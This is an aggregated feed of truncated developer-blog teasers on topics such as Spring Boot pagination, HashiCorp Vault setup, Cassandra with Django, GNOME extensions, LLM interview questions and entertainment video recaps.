    AI Content Marketing: 2025 Strategy Guide AI has moved beyond the experimental phase in content marketing. In 2025, it's no longer about whether you should use AI—it's about how strategically you deploy it. According to Gartner's 2024 marketing technology survey, 73% of marketing organizations have already invested in AI, but only 31% report measurable ROI improvements. The gap between adoption and results reveals something critical: most marketers are using AI as a replacement tool rather than an amplification system. They're automating the wrong things, at the wrong stages, with the wrong expectations. This guide explores both conventional applications and unconventional strategies that separate high-performing content operations from those merely keeping pace. You'll find frameworks t…  ( 14 min )
    Diciembre de Agentes (2025)
    Diciembre de Agentes es una nueva serie de publicaciones impulsadas por la comunidad durante todo el mes de Diciembre de 2025, en la que te invitamos a ti y a la comunidad tecnológica a compartir sus experiencias, reflexiones éticas, conocimientos técnicos o lo que desees sobre uno de los temas del momento, los Agentes de Inteligencia Artificial. El objetivo es crear un compendio de contenido en español que pueda ser útil a la comunidad (Contenido creado por la comunidad para la comunidad). Sabemos que las comunidades están llenas de gente talentosa. Impulsemos esta idea con el único propósito de crear un espacio colaborativo en el que todos nos beneficiemos, desde expertos, profesionales hasta estudiantes, ávidos buscadores de conocimiento. ¿Te gustaría compartir tus conocimientos con la …  ( 7 min )
    The Developer’s Guide to Multi-Session Automation
    Running a single browser automation session is easy. Running two is straightforward. Running 10, 50, or 100 Playwright/Puppeteer sessions in parallel without leaks, mismatched fingerprints, bot detections, proxy errors, or CPU failures is where most setups break. Anyone who has tried to launch more than a handful of browser sessions has seen this happen: Sessions crash All accounts get banned Playwright/Puppeteer freeze from memory overload Proxies get rate-limited Cookies leak between contexts Detection systems flag everything as automation Common root causes: Identity Isolation: The Real Key to Multi-Session Stability Fingerprints Cookies Storage IP Timezone Locale Language Device metrics WebRTC TLS/JA3 fingerprint An important note: a persistent fingerprint persistent local storage its …  ( 8 min )
    How to implement Pagination in Spring-boot project?
    Before beginning, let’s understand what pagination actually is. Pagination simply means breaking a huge dataset into smaller chunks or pages. This is exactly what you see on e-commerce websites when products load page by page, or when you scroll through Google search results — you never get all the data at once. It's useful because: You save bandwidth. Backend responds faster UI becomes smoother. Database queries remain optimized Suppose we have an API like: /api/books?query=adventure Now we can easily configure the backend to limit the number of items returned. We can also let the client decide how many results they want: /api/books?query=adventure&page=0&size=20 page -> which page number(0-based index) size -> how many items per page Let's implement this properly. We are using Spring B…  ( 7 min )
    react
    A post by Marat Nersesyan  ( 5 min )
    My submission for DEV Education Track
    This post is my submission for DEV Education Track: Build Apps with Google AI Studio. I built, efIQo, a study tool that allows learners create, share and study with custom and AI-powered flashcards and quizzes. I created it without prompts, as it is something I have been working on before I got to know about the DEV Education Track. However, I used the Gemini API for AI functionality and Google firebase for storage and authentication. Click here to try it out. I learnt about structuring data before sending calls to the Gemini API and authentication using firebase. Yes, I was quite surprise with what I could achieve.  ( 6 min )
    Hashicorp Vault for secrets management
    ## Installing and Integrating Vault: A Practical Guide HashiCorp Vault is a powerful secret management tool, offering a secure way to store and control access to sensitive information such as passwords, API keys, certificates, and tokens. This article will guide you through the process of installing, initializing, creating secrets and policies, and finally, how to integrate Vault with a Node.js application. First, you'll need to install Vault on your system. Installation options vary depending on your operating system. Below are some examples: Linux (apt): sudo apt-get update && sudo apt-get install vault macOS (Homebrew): brew install vault Windows (Chocolatey): choco install vault After installation, verify that Vault was installed correctly by running the command vault --vers…  ( 8 min )
    Hashicorp Vault para gerenciamento de segredos
    ## Instalando e Integrando o Vault: Um Guia Prático O HashiCorp Vault é uma ferramenta poderosa para gerenciamento de segredos, que oferece uma forma segura de armazenar e controlar o acesso a informações sensíveis, como senhas, chaves de API, certificados e tokens. Este artigo te guiará através do processo de instalação, inicialização, criação de segredos e políticas, e, finalmente, como integrar o Vault com uma aplicação Node.js. Primeiramente, você precisará instalar o Vault em seu sistema. As opções de instalação variam dependendo do seu sistema operacional. Abaixo, estão alguns exemplos: Linux (apt): sudo apt-get update && sudo apt-get install vault macOS (Homebrew): brew install vault Windows (Chocolatey): choco install vault Após a instalação, verifique se o Vault foi ins…  ( 8 min )
    NPR Music: Nova Twins: Tiny Desk Concert
    Nova Twins crash the Tiny Desk party with a full-throttle set that rips up the “nice girls” playbook. They kick off with the in-your-face bass stomp of Cleopatra, stare down their darker side on Monsters, and duck under the Desk to tweak their “spaceship-size” pedalboards mid-set. Armed with a Harp Blaster mic that turns Hummingbird into a spooky bass odyssey, they cap things off by unleashing the rock-opera showdown Choose Your Fighter—no apologies, just pure, unfiltered energy. Watch on YouTube  ( 6 min )
    Ringer Movies: What Happened With the Fall Movie Slate?
    What Happened With the Fall Movie Slate? Sean, Amanda, and Van Lathan kick things off by wondering why this year’s autumn releases have been such a commercial and critical flop. They tear into Edgar Wright’s messy yet visually thrilling action flick The Running Man (starring Glen Powell), then dive into the legacy magic sequel Now You See Me: Now You Don’t, gushing over Rosamund Pike’s turn as a diamond heiress villain and weighing its box office prospects. In the final act, Edgar Wright hops on to chat about the shifting studio landscape, his secret sauce for building jaw-dropping action sequences, and the hilarious backstory of how Glen Powell landed the lead. The trio wraps up with plenty of hot takes on where Hollywood’s headed next. Watch on YouTube  ( 6 min )
    Games: Atomix
    Atomix is a very simple sliding block tiling puzzle game, in which, the user has to slide the atoms to form the molecule given as a challenge. The source code is maintained here https://gitlab.gnome.org/GNOME/atomix/-/tree/main The game is written in C, with the object-oriented capabilities provided by a system called GObject. The windowing toolkit used is GTK. architecture and learning concepts make it a highly approachable game.  ( 6 min )
    Build in Public: Week 2. How Do People Even Find Influencers?
    If you remember from the last update, we had our first real conflict: Node.js vs Python. Well, democracy has spoken. My "many" LinkedIn followers voted and the winner is Node.js. So this week we’re continuing with one backend, one direction and slightly fewer arguments. But I’m still going to run experiments and do the analysis in Python, sorry not sorry. I also wanted to show the activity from the Build in Public posts so far Day Zero passed 1.5k views, Week 1 is close to 600 and together they brought a nice mix of comments and reactions. In the same week my personal blog on datobra.com gained a shocking total of two new followers, which I honestly count as an achievement. In a world where 90% of the internet text is written by models, getting real humans to read anything feels harder a…  ( 11 min )
    From 11 Failing Tests to a 110-Test "Bulletproof" AI: A Debugging War Story
    I just finished building the "brain" for my VS Code extension, Break Bully. It's a complex AI stack with four ML-driven services: My heart sank. But after digging in, I realized this was the best thing that could have happened. The tests had uncovered every single weakness in my design. Bug Type 1: The "Obvious" Crash (TypeError) The Fix: The simplest fix in the book. A guard clause at the top of every analytics function. // Before // After Lesson: Your tests are your best defense against null. Test what happens when your functions get null, undefined, or []. Bug Type 2: The "Flaky" Bug (The Race Condition) Lesson: If you're testing code that involves setInterval or setTimeout, don't guess. Use fake timers to make your tests instant, deterministic, and 100% reliable. Then I remembered: I had fixed a different bug earlier that correctly set the default to nuclear! My test was outdated. The "failing" test was actually proof that my previous fix was working. The result? 110 PASSING (14s) Exit code: 0 This isn't just a vanity number. This 110-test suite is a safety net. It proves the AI brain is validated. It means I can now move on to building new features (like the CodeTune integration) with confidence, knowing that this "bulletproof" foundation won't break. Thanks for reading my debugging story! What's the "flakiest" bug you've ever had to chase?  ( 8 min )
    🔥 LLM Interview Series(5): Self-supervised Learning and Next-token Prediction
    1. (Interview Question 1) What is self-supervised learning, and why is it essential for training modern LLMs? Key Concept: Self-supervised learning, pseudo-labels, representation learning Standard Answer: unlabeled data by creating labels from the data itself. Instead of relying on manually annotated datasets—which are expensive and difficult to scale—self-supervised learning leverages natural structures and patterns already embedded in large text corpora. This allows models like GPT-style LLMs to learn linguistic, semantic, and world knowledge at an unprecedented scale. In the context of language modeling, the most common form of self-supervised learning is next-token prediction, where the model is given a sequence of tokens and trained to predict the next one. The “label” is simply the…  ( 14 min )
    IPS vs TN Displays in 2025: How to Choose the Right Panel for Work, Gaming, and Daily Use
    When shopping for a new monitor in 2025, one of the most common questions is still: should I choose IPS or TN? Even though OLED and Mini-LED are getting more popular, IPS and TN remain the core LCD technologies used in consumer monitors, laptops, industrial devices, and embedded systems. After working with both technologies in different hardware projects, I’ve realized one thing: the right choice depends heavily on how you use your display. IPS isn’t always “better,” and TN isn’t always “outdated.” Each serves a different purpose. This article breaks down the strengths, weaknesses, and real-world differences you should consider before deciding. IPS (In-Plane Switching) was created to solve the limitations of older LCD technologies—mainly narrow viewing angles and color shifting. IPS keeps …  ( 8 min )
    Is AI Coming for YOUR Job? A Developer's Reality Check
    🤖 That Sinking Feeling You're pairing with GitHub Copilot and it suggests code that's... actually good. And that voice in your head whispers: "Am I becoming obsolete?" I've been there. As the founder of AI Work Shield, I talk to developers every day who are feeling this anxiety. But here's what the data actually shows... Let's look at the numbers from our analysis of 50,000+ developer roles: 85% of developer jobs will be AI-augmented, not replaced Junior dev roles face 35% higher automation risk than senior roles Full-stack developers are 40% more resilient than specialized roles The average developer can automate 30% of their current tasks with AI today The pattern is clear: AI isn't replacing developers—it's replacing specific development tasks. The developers in trouble aren't the o…  ( 7 min )
    Making Money: Explained!
    Money doesn’t just come to those who chase it. It comes to those who respect it, study it, and master it. Making money is the greatest art — and the process boils down to mastering the basics of value, problem-solving, and clarity of purpose. Money is earned by solving real problems: Whether you fix something small (like a broken restroom) or improve a company’s sales conversion rate, you get paid when you add measurable value. Versatility is protection: The more roles and skills you master — coding, marketing, product management, branding, design — the less you need to worry about losing your job. Crystal clarity about money: Understand how your input translates into company profit, and you’ll always have earning power. Business basics: Find a product, solve your own problem first, and of…  ( 7 min )
    Telegram Bot @ChatGPTTlgrmBot Updated to GPT-5.1: New Features and Promo Code
    OpenAI has released the new GPT-5.1, and I didn’t waste any time updating my Telegram bot @ChatGPTTlgrmBot. Now the bot responds using the latest model, which the company describes as “warmer, more intelligent, and better at following instructions.” Even FastCompany confirms: GPT-5.1 is “smarter and more conversational.” To keep up with the hype around the update, several new features have been added to the bot: GPT-5.1 Support – The bot now runs on OpenAI’s latest model. According to OpenAI, GPT-5.1 Instant is “our most-used model, now warmer, more intelligent, and better at following instructions.” In simple terms, the responses are livelier, clearer, and sometimes friendlier. Promo Code System – I added promo code CRTD5, which gives +3 free queries (use the /promo command). This address…  ( 7 min )
    “Computer Networking: The Backbone of the Internet”
    Hello again! I hope you’re all doing well. In my first blog, we explored how the Internet works. Now, we’ll turn our attention to computer networking — the critical foundation beneath the Internet. Let's get back to the next topic. Today, we’re going to dive into computer networking — without networking, the Internet as we know it simply wouldn’t exist. # What is Computer Networking? # In simple terms, computer networking is the process of linking devices (computers, servers, smartphones) so they can exchange data and make communication and resource sharing smoother and more efficient. [ In Technical terms, Computer networking is the practice of connecting devices—such as computers, smartphones, and servers ]. In practice, whether you’re sending an email, streaming a video, or acc…  ( 8 min )
    🧠Deterministic scoring for messy AI agent graphs: what I learned building OrKa v0.9.6
    Over the past 8 months I have been quietly building my own cognition layer for AI systems. Not a shiny frontend. Not another wrapper around a single API. I wanted something that would let me define how a system thinks, step by step, and then replay that thinking when things go wrong. The project is called OrKa-reasoning. With v0.9.6 I finally shipped the part that annoyed me the most: deterministic, explainable path selection in messy agent graphs. This post is a mix of story and architecture. It is not a launch announcement. It is more like a lab notebook entry from someone who got tired of magical routing and decided to replace it with a boring scoring function. If you are building agentic systems, or you care about reproducible AI behaviour, you might find some of this useful. Or you mi…  ( 16 min )
    Closures & Callstacks: Building a Game to Learn JavaScript Closures
    A practical exercise in learning closures by building a tiny idle game - no frameworks, just vanilla JavaScript. Early in my development journey, I struggled with JavaScript closures. The concept felt abstract and slippery - I could read the definitions, but they didn't quite click. So I did what I often do when learning something new: I built a small project that forced me to use them extensively. The result was Closures & Callstacks, a simple browser-based idle game where a party of adventurers battles a dragon. Built with nothing but vanilla HTML, CSS, and JavaScript - no frameworks, no libraries - it served its purpose: by structuring the entire application around factory functions and closures, I finally internalised how they work. The premise is straightforward: you generate a party…  ( 8 min )
    Your Understanding of Abstraction is Incomplete (And It's Holding You Back)
    The Hidden Truth About Software Mastery If there's one concept that separates good developers from exceptional ones, it's abstraction. Yet after 7+ years in professional software engineering and entrepreneurship, I've witnessed countless talented developers fall into the same trap—they use abstraction without truly understanding it. Ask any senior software engineer to define abstraction, and you'll typically hear: "Abstraction is simplifying complex systems by focusing on important characteristics while hiding implementation details." This definition is correct but dangerously incomplete. Yes, abstraction allows us to create clean interfaces for complex systems. Yes, it makes frameworks feel "easy to use." But here's the trap: this false sense of simplicity breeds mediocrity. Here's a pa…  ( 8 min )
    Unlocking the Unsolvable: Parallel Search Algorithms Conquer Complexity by Arvind Sundararajan
    Unlocking the Unsolvable: Parallel Search Algorithms Conquer Complexity Imagine trying to solve a puzzle with billions of pieces, where each placement affects all the others. That's the challenge in many complex games and real-world problems. But what if you could enlist thousands of helpers, working simultaneously, to find the perfect solution? The core idea is to intelligently divide and conquer. A sophisticated search algorithm estimates how promising each potential move is, focusing computational power on the most likely paths to a solution. This is accelerated by running multiple instances of the search algorithm on many CPU cores, all sharing information to avoid redundant calculations and refine the search process collaboratively. Think of it like a flock of birds: each bird indiv…  ( 7 min )
    Beyond the Hype: How Apple Intelligence Will Actually Change Your Daily Productivity
    Beyond the Hype: How Apple Intelligence Will Actually Change Your Daily Productivity The world of artificial intelligence is saturated with hype. Every week, a new model promises to revolutionize everything, leaving business leaders inundated with noise but starved for a clear signal. At Veltrex Labs, our job isn't to amplify that noise; it's to cut through it. We deliver strategic insights and build the technological frameworks that turn groundbreaking potential into measurable business outcomes. Apple's recent unveiling of Apple Intelligence is a perfect example. While many see a collection of new consumer-facing features, our team sees a fundamental shift in the personal computing paradigm—one that will redefine productivity for businesses agile enough to capitalize on it. This isn't …  ( 10 min )
    🚀How My Kubernetes KIND Contribution Got Merged: A Beginner’s Journey Into Real Open Source
    My First Kubernetes Contribution: A Journey of Mentorship, Reviews, CNCF CLA & My PR Getting Merged Contributing to open source was always a dream… Kubernetes is massive. So when I created my first PR to kubernetes-sigs/kind, I didn’t just write a few lines of documentation — Let me take you through the journey — 🌱 The Start — A Small Idea, A Big Step While reading KIND’s Quick Start docs, I noticed something simple: 👉 There was no example for loading multiple Docker images in a single command. Beginners do this all the time. So I decided to contribute this: kind load docker-image my-app:latest my-db:latest my-cache:latest A small, beginner-friendly improvement — 🧪 Step 1: Passing the CNCF CLA — My First Real Gate Before ANY Kubernetes PR can be tested or reviewed, contributors must pas…  ( 9 min )
    A story is a lie and a story is true
    A story is a lie and a story is true Kurt Vonnegut's theory that stories have shapes was validated by researchers analyzing 1,327 famous stories through machine learning. Vonnegut proposed stories follow common patterns like 'man in a hole' and 'boy meets girl', which researchers confirmed by classifying 1,327 Project Gutenberg stories. Stock prices follow narrative shapes too, as shown when Match.com dropped 22% after Facebook's dating announcement despite unchanged fundamentals. Investment pitches are essentially stories about stocks, where competing narratives like 'icarus' versus 'boy meets girl' shape market reactions before business changes occur. 👉 Read full article  ( 6 min )
    Connecting Cassandra with Django: The Complete Guide (With & Without Docker)
    Part 1: Setup Without Docker (Traditional Method) Why Cassandra with Django? Before we dive in, let's understand why you'd want to use Cassandra with Django: Cassandra strengths: Handles massive write-heavy workloads Linear scalability (add nodes, get more capacity) No single point of failure Perfect for time-series data, logs, IoT data Django + Cassandra use cases: Analytics platforms Real-time messaging systems IoT data collection Event logging systems Social media feeds Important note: Cassandra is NOT a replacement for PostgreSQL/MySQL for typical Django apps. Use it for specific high-scale scenarios. # Add Cassandra repository echo "deb https://debian.cassandra.apache.org 41x main" | sudo tee -a /etc/apt/sources.list.d/cassandra.sources.list # Add repository keys curl ht…  ( 12 min )
    Why OLSRT Could Be The Next Erlang/Elixir For Modern Systems?
    Hey Dev Community! Introduction Erlang and Elixir pioneered this space with their Actor-based model, powering telecom networks, messaging apps, and distributed databases. But they remain tied to the BEAM VM ecosystem. OLSRT (OverLab Streams Runtime) is a new attempt to bring the power of the Actor model into a standalone, a runtime that any language can use. It could be the next big step for distributed systems. Actor Model: The Heart of OLSRT Each Actor has its own state and mailbox. Actors communicate only via messages. No shared state → fewer race conditions. Natural parallelism and fault tolerance. This design makes systems easier to scale and more resilient to failure. Erlang & Elixir: The Inspiration Erlang was built for telecom systems requiring 99.999% uptime. Elixir moderniz…  ( 7 min )
    AI World Clocks
    Ever found yourself in a situation where you're supposed to join a meeting at 3 PM, but you have no idea if that means 3 PM your time, or the time in New York, or maybe even Tokyo? I remember the first time I had to coordinate across multiple time zones for a project. I felt like I was trying to solve a Rubik's Cube blindfolded! That’s where AI World Clocks come into play, and honestly, they’ve become a game-changer for me. So, what exactly is an AI World Clock? At its core, it's like your good old-fashioned wall clock that tells you the time in various parts of the world, but it’s supercharged with AI. These clocks can do more than just display hours; they can analyze your schedule, suggest optimal meeting times based on participants’ locales, and even account for daylight savings (which,…  ( 9 min )
    Games: achilles-1
    Achilles is a simulation, not really a game. In Achilles, the world is given an X coordinate, Z coordinate, number of food items and number of organisms. And the world evolves! Here is a screenshot of the evolution Here is the attack in progress. The program is written in C++ and uses OpenGL to display the world. The package that is present in many Linux operating systems does not behave the way we want. I had to check out the source code, and fix the bugs in the program. The source of the maintained version lives in GitHub here: https://github.com/orsenthil/achilles-1; there is a lifetime worth of learning concepts used by this simple program.  ( 6 min )
    How to Write Effective AI Prompts for Scientific Illustrations
    How to Write Effective AI Prompts for Scientific Illustrations In the age of AI-powered scientific illustration, the quality of your output depends entirely on the quality of your input. A well-crafted prompt can mean the difference between a publication-ready figure and a generic, unusable image. Through extensive testing and optimization, we've identified 8 core principles that consistently produce high-quality scientific illustrations suitable for journals like Nature, Science, and Cell. This guide will teach you exactly how to write prompts that generate professional academic figures. The difference between a mediocre and excellent scientific illustration often comes down to prompt specificity. Generic prompts like "create a cell diagram" produce generic results. Specific prompts wi…  ( 10 min )
    The truth about learning to code.
    The Hard Truth About Learning to Code (That No One Tells You) Hadil Ben Abdallah ・ Nov 13 #webdev #programming #productivity #learning  ( 5 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    CinemaSins’ latest video, “Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less,” gleefully nitpicks every dino resuscitation, jaw-dropping plot hole and over-the-top CGI moment—because apparently Jurassic keeps coming back and so do our sins. The description also hooks you up with their main site, YouTube spin-off channels, a sinful audience poll, Patreon support, and a shout-out to the writing squad (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel), plus all their social hangouts. Watch on YouTube  ( 6 min )
    AWS VPC: Security and Control from Scratch
    VPC Lab: Practical Fundamentals of Cloud Networking Virtual Private Clouds (VPCs) are the heart of any architecture on AWS. They are not just virtual networks: They are the foundation of the security, control, and scalability of your solutions. In this lab, you will learn to design and deploy a VPC from scratch, understanding each architectural decision and its impact on cost, security, and performance. VPC Lab: Practical Fundamentals of Cloud Networking 🔐Stage 1: From the AWS console, click on VPC to start building a new network. Step 1: From the AWS console, click on VPC to start building a new network. Step 2: Define the IPv4 CIDR block: 20.0.0.0/16. Step 3: Configure public and private subnets across different Availability Zones: 📌 This establishes the foundation of your networ…  ( 7 min )
    What is an e-commerce website and why do you need one?
    What is an e-commerce website and why do you need one? An e-commerce website is an online platform that allows you to sell your products or services directly to customers. This site is actually your online store that is open 24 hours a day, 7 days a week and has no geographical restrictions. Unlike a corporate website whose main purpose is to provide information, the main purpose of an e-commerce website is to conduct transactions. These websites are equipped with the necessary tools to manage products (such as adding, editing and categorizing products), process orders, manage inventory and, most importantly, receive online payments through banking portals. Buying an e-commerce website means building the main engine of your online business that can transform your sales. Main Options for “B…  ( 7 min )
    Finding My Writing Routine In The Quiet Hours Of The Cafe
    I never expected to become someone who writes. I always thought writing belonged to people with degrees or fancy notebooks or jobs with long lunch breaks. I work as a barista at a small cafe on the edge of town. Most of my days are loud, messy, and full of customers who really love arguing about milk options. Writing did not seem like it fit anywhere in my life. But life has this weird way of surprising you when you least expect it. Mine surprised me at 3:15 on a Tuesday afternoon. The cafe was empty except for two older men arguing about baseball. I had a few minutes to breathe, which almost never happens. I leaned on the counter, looked around, and felt this strange pull to write something down. Anything. Just to see how it felt. I tore a scrap of receipt paper from the machine and wrote…  ( 10 min )
    Dev Log 37 - Consolidated Update
    Consolidated Update Hi, to anyone still reading my logs, this log entry is a consolidation of some recent personal dev logs , consolidated as a single log for myself, so not much of a fun or exciting read. Fixed discard/resurrection and opener-swap bugs; Discard flow: true removal of runtime instances; no resurrection from loot or saves. InventoryStateManager: unregister-by-reference, compatibility shims, TryGetLiveItemByReference. Loot pickup: always instantiate fresh runtime clones and register them before adding to inventory. Equip logic: all entry points use TryEquipInventoryItemIfSlotEmpty to prevent Hands overwrite; tooltip remains open on blocked equip. Open flow: exact-slot replacement for opened items; apply opener damage only (no removal); preserve state copy from sealed → open…  ( 17 min )
    1. Definition of a “ready-made site” and its mechanism
    Definition of a “ready-made site” and its mechanism خريد سايت آماده) The purchase process and what you get The process of purchasing a ready-made website is usually very quick and simple. You first choose the design that best suits your taste and business from among several demos (online samples) offered by the seller. After making your selection, you deliver your content (texts, logo, images and contact information) to the seller. Then, the seller: Installs the selected template on your host. Main advantages of buying a ready-made website This method is very popular for certain reasons, especially for starting out: Very fast: You can have a complete website in less than a week. This is a big advantage for businesses that want to get to market quickly. Hidden disadvantages and seriou…  ( 7 min )
    Day 35: Python Morse Code Generator, Convert English Text to Morse with Full A-Z Mapping and Interactive Input
    Welcome to Day 35 of the #80DaysOfChallenges journey! This intermediate challenge focuses on building a simple Morse code generator that translates English text to Morse signals, supporting the full alphabet from A to Z through a dictionary lookup, while managing user input in an interactive loop for repeated conversions. It incorporates clean string processing to handle words and letters with appropriate spacing, plus a placeholder for unknown characters, making it a robust utility for text encoding. This exercise strengthens skills in dictionary usage for mappings, string manipulation for case and splits, and loop-based interactivity with exit conditions, which are essential for creating user-friendly command-line tools or encoding apps. If you're advancing from basic dicts to more integ…  ( 13 min )
    Syntax Trap #001
    Hey there 👋 I've spent a lot of time learning the details of JavaScript and stumbled across lots of surprising gotchas that only became clear after understanding what's going on under the hood. I plan to post one of these each day (or so) and would love to get discussions around the specific "problems". Here's the first: What's the result? const num = '5'; console.log("5" * 4 + num); Error 25 205 55555 Easy, right :) .. said some of my coworkers, before getting it wrong 🤓  ( 6 min )
    Project Exercise - Provide shared file storage for the company offices
    Create and configure a storage account for Azure Files Create a storage account for the finance department’s shared files. Learn more about storage accounts for Azure Files deployments. In the portal, search for and select Storage accounts. Select + Create. For Resource group select Create new. Give your resource group a name and select OK to save your changes. Provide a Storage account name. Ensure the name meets the naming requirements. Set the Performance to Premium. Set the Premium account type to File shares. Set the Redundancy to Zone-redundant storage. Select Review and then Create the storage account. Wait for the resource to deploy. Select Go to resource. Create and configure a file share with directory Create a file share for the cor…  ( 7 min )
    Why Most Tutorials Fail You (And What Actually Works)
    🧠 Introduction: The Illusion of Progress Talk about the false sense of productivity that comes from binge-watching tutorials. Share a personal moment when you realized you weren’t actually learning—just consuming. You follow along, line by line, everything works. You feel confident… until you try to build something on your own. Suddenly, you’re stuck. You don’t know what to do without step-by-step guidance. “Tutorials are like training wheels—but no one tells you when to take them off.” Passive learning = watching, copying, nodding along. Active learning = struggling, debugging, building from scratch. The brain learns best when it’s challenged, not when it’s spoon-fed. Start with a small idea (e.g., a todo app, a quote generator). Google every step. Struggle. Break things. Fix them. That’s when the real learning happens. Set a goal: Build something you care about. Limit tutorials: Use them as references, not roadmaps. Document your process: Blog, tweet, or journal what you learn. Ask for help: Communities like Stack Overflow, Discord, or even Copilot They’re great for exposure, not mastery. Use them to understand concepts, then apply them in your own way. Don’t be afraid to “waste time” building something imperfect. Encourage readers to start small, fail fast, and keep building. Remind them: confidence comes from creation, not consumption Thank you ❣️ ⚡⚡Follow for more interesting tech facts⚡⚡  ( 6 min )
    How to create a REST API in seconds
    Quick Start (30 Seconds to Running API) # Clone and setup git clone https://github.com/nicolasbonnici/gorest.git cd examples/basic-api cp .env.dist .env # Start database and generate API docker compose up -d make generate make run Your API is now running at http://localhost:3000 with interactive documentation at http://localhost:3000/openapi. Define your business objects and their relationships using standard SQL: -- schema.sql CREATE TABLE users ( id UUID PRIMARY KEY DEFAULT gen_random_uuid(), firstname TEXT NOT NULL, lastname TEXT NOT NULL, email TEXT UNIQUE NOT NULL, password TEXT, created_at TIMESTAMP(0) WITH TIME ZONE NOT NULL DEFAULT CURRENT_TIMESTAMP ); CREATE TABLE todo ( id UUID PRIMARY KEY DEFAULT gen_random_uuid(), user_id UUID REFERENCES us…  ( 12 min )
    AltSchool Of Engineering Tinyuka’24 Month 9 Week 3
    We kicked off the class with a review of our previous session, which you can find here. Following that, we delved into A Comparative Guide to the Modern Cloud Landscape and much more! The cloud computing landscape is vast and dynamic, driven by innovation, scalability, and the need for speed in software delivery. Today, Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), and DigitalOcean stand out as the four major players shaping the cloud ecosystem each with its unique strengths, philosophies, and problem-solving approaches. In this comprehensive guide, we’ll explore what sets each platform apart, the challenges they’re best at solving, and how organizations can leverage their strengths to build smarter, faster, and more resilient systems. Overview: Key Strengths: B…  ( 8 min )
    AI in Hospitality and Tourism: Creating Personalized Guest Experiences at Scale
    The hospitality and tourism industry is one of the most experience-driven sectors in the world—and AI is transforming every aspect of how hotels, resorts, travel agencies, and tourism brands engage with guests. From personalized trip planning to automated customer service and predictive demand forecasting, AI is enabling brands to deliver memorable, seamless, and hyper-personalized experiences that today’s travelers expect. With smart integrations, AI doesn’t just enhance operations—it elevates marketing, boosts visibility, and strengthens customer loyalty. Paired with tools like the AI Rank Checker, travel brands can optimize their digital presence while delivering world-class experiences. Modern travelers want convenience and customization. AI helps deliver both. AI-powered travel engine…  ( 8 min )
    3 Must-Have GNOME Extensions to Instantly Boost Your Desktop
    The stock GNOME desktop is clean and minimalist... perhaps too minimalist for some. We cover the 3 must-have GNOME extensions that new and regular users should install right now. The modern GNOME desktop is a masterclass in focused, minimalist design. It’s clean, elegant, and stays out of your way. But for many users, especially those coming from Windows, macOS, or other Linux desktops, this minimalism can feel… restrictive. “Where is my dock?” “Where are my app tray icons?” “How can I see my CPU temperature?” This is where the magic of the GNOME ecosystem comes in. Thanks to a massive library of extensions, you can mold the desktop to your exact needs. However, the extension library is vast, and it’s easy to get lost. We’ve cut through the noise to find the three truly must-have GNOME ex…  ( 9 min )
    Zero-Click Future: Predicting User Actions with AI
    Zero-Click Future: Predicting User Actions with AI Tired of endless clicking and scrolling? Repetitive strain injuries are a growing problem, and traditional interfaces aren't helping. Imagine an interface that anticipates your next move, minimizing physical effort and maximizing efficiency. This isn't science fiction; it's the power of predictive UI. The core concept is simple: AI predicts the user's intended action and presents a ranked list of suggestions directly on the screen. Instead of precise pointing and clicking, users can preview these suggestions and quickly accept or reject them, drastically reducing physical input. By learning user behavior, these systems become increasingly accurate over time, leading to a more fluid and intuitive experience. Think of it like a highly inte…  ( 7 min )
    Genkit AI & MCP: 🎧 Building Your 2010s British Song Selector!
    In the age of AI, the ability to build robust and scalable backends is paramount. Genkit, an open-source framework from Google, significantly simplifies this process, offering an intuitive way to define AI workflows, tools, and integrations. One of its most powerful features is the ability to expose these functionalities via the Model Context Protocol (MCP), enabling standardised interaction with other AI systems. It's crucial to understand what the MCP is and why it's so valuable. Imagine a scenario where you have multiple AI models or services, each specialising in a different task – one for natural language understanding, another for image generation, and perhaps a third for data retrieval. Traditionally, integrating these diverse components could be a complex, ad-hoc process involving …  ( 9 min )
    🚀 Starting the *Eat-N-Split* Project (From My React Course)
    Documenting my learning journey — this is a course project, not my original idea. Today, I began working on the Eat-N-Split project from my React course. conditional rendering, component structure, and state management. I’m sharing my progress here to document what I’m learning — not to claim the concept or UI as my own. This project is part of the curriculum I’m following. Eat-N-Split is a simple bill-splitting mini-app where you: Display a list of friends Show who owes whom Select a friend Split a bill Update balances Even though the app is small, it touches several important concepts that every React developer must master: useState) ✔ Forms & Controlled Components ✔ Clean UI Logic 🧱 Day 1 Progress: Friend List UI In this first step, I focused only on the friend list. Each friend in the list contains: a name an avatar a unique ID a balance (positive, negative, or zero) Then I used a simple conditional rendering pattern for the balance: if balance 0 → "They owe you" if balance === 0 → "You are even" This part helped me better understand how to display different UI states based on dynamic data. Even though this is just the starting point, it helped me strengthen some fundamentals: These concepts show up everywhere in React, even in advanced apps, so practicing them is extremely valuable. According to the course roadmap, the upcoming steps will include: ✔ Selecting a friend useState I’m excited to continue building the app and improving my understanding of React’s data flow and state logic. I’m enjoying this project because it combines simplicity with practical hands-on React experience. If you're also learning React, this project is a great exercise to strengthen your fundamentals.  ( 7 min )
    Why We Ditched React and Built Financial Calculators in Vanilla JavaScript (And How It Made Everything Better)
    The Framework Trap Every developer has been there. You start a new project and immediately reach for your favorite framework: npx create-react-app my-calculator # Installing 1,453 packages... # 3 minutes later... # node_modules folder: 289 MB Three minutes and 289 MB later, you have a "Hello World" that takes 2 seconds to load on 3G. Before choosing our tech stack, we listed our actual requirements: ✅ Fast load times ( …  ( 10 min )
    The Future Internet Won’t Run on Centralized Servers — It Will Run on Devices Like Yours, Powered by Neurolov
    Here is your full Dev Community post, perfectly formatted, without changing a single word of your content. For decades, the internet’s foundation has been centralized. A few large data centers—operated by AWS, Google, and Microsoft—handle the world’s digital workloads. While efficient, this architecture is expensive, energy-intensive, and prone to single points of failure. According to IDC and Gartner reports, over 66% of global cloud workloads are managed by three major providers. This centralization creates several systemic challenges: Challenge Description High cost GPU instances on centralized clouds can cost $3–6/hour. Regional fragility Outages in single data centers can affect millions of users. Energy inefficiency Data centers consume over 1% of global electricity. Lim…  ( 9 min )
    The Real Cost of Headless Commerce: Is It Worth the Hype?
